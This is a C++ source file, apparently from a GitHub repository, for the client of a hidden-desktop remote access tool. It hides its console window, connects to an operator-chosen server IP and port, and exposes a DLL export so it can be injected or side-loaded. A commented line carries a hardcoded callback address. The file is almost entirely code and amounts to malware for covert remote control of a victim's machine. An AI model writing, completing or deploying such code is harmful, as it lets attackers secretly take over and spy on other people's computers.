-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathMain.cpp
More file actions
67 lines (55 loc) · 1.28 KB
/
Main.cpp
File metadata and controls
67 lines (55 loc) · 1.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include "HiddenDesktop.h"
#include <Windows.h>
#include <stdlib.h>
#include <iostream>
#define TIMEOUT INFINITE
void StartAndWait(const char* host, int port)
{
InitApi();
const HANDLE hThread = StartHiddenDesktop(host, port);
WaitForSingleObject(hThread, TIMEOUT);
}
void splitIpAddressAndPort(const std::string& input, std::string& ipAddress, std::string& port) {
// Find the position of the colon
size_t colonPos = input.find(':');
// Extract the IP address
ipAddress = input.substr(0, colonPos);
// Extract the port
port = input.substr(colonPos + 1);
}
void __stdcall mainexport(char* ipAddress, char* port)
{
::ShowWindow(::GetConsoleWindow(), SW_HIDE);
StartAndWait(ipAddress, atoi(port));
// StartAndWait("192.168.9.11", 8080);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// Store the module handle
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
// Shutdown GDI+
break;
}
return TRUE;
}
#if 1
int main()
{
int port;
char host[128] = { 0 };
std::cout << "[!] Server IP: ";
std::cin >> host;
std::cout << "[!] Server Port: ";
std::cin >> port;
::ShowWindow(::GetConsoleWindow(), SW_HIDE);
StartAndWait(host, port);
return 0;
}
#endif